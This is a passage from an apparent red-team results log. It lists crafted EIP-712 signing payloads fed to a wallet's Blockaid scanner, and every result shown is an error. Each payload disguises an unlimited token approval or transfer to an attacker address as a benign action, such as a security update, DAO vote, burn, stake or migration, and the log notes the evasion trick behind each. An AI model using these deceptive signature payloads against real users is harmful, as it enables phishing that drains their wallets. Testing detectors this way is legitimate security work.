"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T19:03:52.237Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T19:04:01.801Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T19:04:11.370Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T19:04:20.930Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T19:04:30.484Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T19:04:40.046Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T19:04:49.606Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T19:04:59.171Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T19:05:08.736Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T19:05:18.293Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T19:05:27.850Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T19:05:37.408Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T19:05:46.964Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T19:05:56.517Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T19:06:06.079Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T19:06:15.628Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T19:06:25.187Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T19:06:34.739Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN57-EIP3009-022", "timestamp": "2026-01-31T19:06:44.305Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD 